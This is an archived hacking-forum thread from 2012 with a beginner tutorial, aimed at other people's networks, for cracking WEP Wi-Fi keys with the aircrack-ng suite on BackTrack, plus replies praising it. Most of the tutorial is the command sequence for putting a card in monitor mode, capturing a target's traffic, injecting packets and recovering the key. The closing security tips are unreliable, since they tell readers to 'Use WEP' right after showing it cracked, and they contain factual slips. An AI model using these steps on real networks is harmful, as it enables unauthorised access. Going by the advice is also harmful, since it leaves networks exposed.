

Forum:[Hack Forums](#)

Thread: [Crack Wifi Internet\[NoOB friendly with HQ Pictures\]+Secure Yourself from hackers](#)

crackhackforum - April 21, 2012, 6:42 pm

[img]http://img.emuleday.com/data/img/0d/0daaf9a78a46a64194cba08f3e50f6ad.jpg[/img]

WEP

Wired Equivalent Privacy (WEP) is a deprecated security algorithm for IEEE 802.11 wireless networks. Wireless transmission is susceptible to eavesdropping and, so, WEP was introduced as part of the original 802.11 protocol in 1997.

BackTrack

[img]http://www.laulau.asia/wp-content/uploads/2011/06/Backtrack_5_grey2.jpg[/img]

BackTrack is an operating system based on the Ubuntu GNU/Linux distribution aimed at digital forensics and penetration testing use. It is named after backtracking, a search algorithm. We will be using this OS for cracking into others' Wifi connection.

Wifi Network

Wireless internet has become one of the most popular methods to access internet because you don't have to worry about any cords, plugs and there is no specific location. But the main advantage is, it's a lot less secure and the vulnerability to hackers is extremely high compared to other physical cable internet connections.

So in this tutorial i will be teaching one vulnerability on WEP that helps you to hack into others network.

Things needed :

>>[BackTrack 5.0](#)<<(Download the iso)

>>[An image burner](#)<< (You can use any image burner.)

>>Tons and Tons of patience.<<(You may not succeed the first time you try)

>>A wireless router of course<<!You already have it right?It looks like this

Spoiler ([Click to View](#))

[img]http://hothotbuzz.com/wp-content/gallery/wireless-router/wireless_router.jpg[/img]

The process

So first thing first. Burn the iso to a DVD.

Restart the pc and boot to the DVD.

Now the pc will be loaded with a Backtrack wallpaper and a new command prompt thing that looks like this will open up :

Spoiler ([Click to View](#))

Dont care for the things that are written in the pic. They are different. It will do some loading and wait till a cursor appears for you to type something.

Now type in

Quote: startx

This will start up the interface for you to work on. Now the desktop will look something like this. And click on the command Konsole icon on the taskbar which is highlighted in the pic below.

Spoiler ([Click to View](#))

Now a command terminal should open up. It will look like the cmd of windows.

Now the first thing we want to do is start up networking. So type :

Quote: `/etc/init.d/networking start`

Now lots of things will load up. Just continue with the process.

Next we want to set the wireless card into monitor mode so type in :

Quote: `airmon-ng`

and find out what your wireless card is called. It will be displayed once you type the above code. Please write down the wireless card name since we will be using it at different places in the coming steps. So wherever I say [wireless card name] insert the name of your wireless card. :) It's simple actually.

Now type in :

Quote: `airmon-ng stop [wireless card name]`

Next type in :

Quote: `airmon-ng start [wireless card name]`

to set the wireless card in monitor mode. Now it will look something like this. Sorry this pic is blurry but still you can understand.

Spoiler ([Click to View](#))

OK.. Now you have finished 1 phase. Congrats.. Now we are moving on.

Now type:

Quote: `airmon-ng`

to see the changes that occurred.

After this, we need to scan our victims wireless signals to get their Basic Service Set Identifier or BSSID. To do that, type :

Quote: `airodump-ng [wireless card name]`

Now lots of things will load up. Check which one has a WEP encryption and write down their channel, BSSID and ESSID which will be listed in various columns.

Now hit Ctrl+C to stop the running process.

Now type in

Quote: `airodump-ng -w wep -c [channel number] --bssid [Bssid number] [wireless card name]`

And this will link your wireless card to that particular connection.

Now leave that and open up a new connection by clicking on the icon in the taskbar.

Now type in

Quote: `aireplay-ng -1 0 -a [bssid] [wireless card name]`

which will associate your wireless card with the connection so you can transmit data >:)

Now open up another console from the taskbar and type in

Quote: `aireplay-ng -3 -b [bssid] [wireless card name]`

which will start sending and receiving data packets on the wireless connection.

Now bring up the first terminal console that we were using and look at the data column. You want this to run this at least till the data amount is greater than 30,000 (data amount > 30,000). It will take

atleast an hour to do so. So please be patient till it finishes. I told you patience is required for this wifi hack.

Once it has crossed the 30,000 mark, bring up the console that was sending and receiving data and hit Ctrl+c to stop the process. Now type :

Quote: dir

which will give you a view of the root directory.

We are looking for a file that ends in '.cip' as this will have the wireless key.

Once you have located the .cip file, type in :

Quote: aircrack-ng [filename].cap

And it should give you the wireless key.

See how easy it is to hack into others wifi connection ? So its better to secure yourselves if you are also using a wifi connection.

Securing yourselves from Hackers

Most Connections can be hacked in about 2 hours.

Use stronger wireless connections such as WPA or WPA2 for a more secure connection.

If you want more security, use a physical connection to avoid getting hacked.

And here are some more things you can do :

1) Strategic antenna placement:

The first thing you have to do is to position the access point's antenna in a place which restricts the range of its signal to go further than the required area. You should not put the antenna close to a window because glass can't obstruct its signals. Place it in a central location of the building.

Use WEP:

WEP stands for Wireless encryption protocol. It's a customary technique for encrypting traffic on a wireless network. You should never skip it as that will allow hackers to get instant access to the traffic over a wireless network.

3) Change the SSID, disable the broadcast of SSID:

SSID stands for service set identifier. It is the recognition thread utilized by the wireless access point due to which the customers are capable of starting connections. For every wireless access point arranged, select an exclusive as well as unique SSID. Also, if it's attainable, hold back the broadcast of the SSID out over the antenna. It won't appear in the listing of offered networks, while being able to provide services as usual.

4) Disable DHCP:

By doing this, the hackers will have to decode the TCP/IP parameters, subnet mask as well as the IP address in order to hack your wireless network.

5) Disable or modify SNMP settings:

Change the private as well as public community settings of SNMP. You can also just disable it. Otherwise the hackers will be able to utilize SNMP to get significant info regarding your wireless network.

6) Utilize access lists:

For additional security of your wireless network, and if your access point support this feature, employ an access list. An access list lets us determine precisely which machinery is permitted to attach to an access point. The access points which include the access list can employ trivial file transfer protocol (TFTP) now and then in order to download modernized lists to steer clear of hackers.

Antimodz - April 21, 2012, 6:48 pm

Great job crackhackforum. This helped.

crackhackforum - April 21, 2012, 6:49 pm

Thanks for the comment Antimodz :)
35char

Ronnie Coleman - April 21, 2012, 6:55 pm

Nice tutorial, images and texts are of quality.

crackhackforum - April 21, 2012, 6:58 pm

Thanks for dropping +ve comment for the thread :P

puresplz1 - April 21, 2012, 7:18 pm

"See how easy it is to hack into others wifi connection" i like it but i mean to much time and i dont like iso's putting stuff on disks is to hard plus im bad at the coding stuff other then that u made me want to try it but then im like nah .. =P but i did like the tut =P

crackhackforum - April 21, 2012, 7:20 pm

Thanks man. Im glad you could enjoy the tutorial :D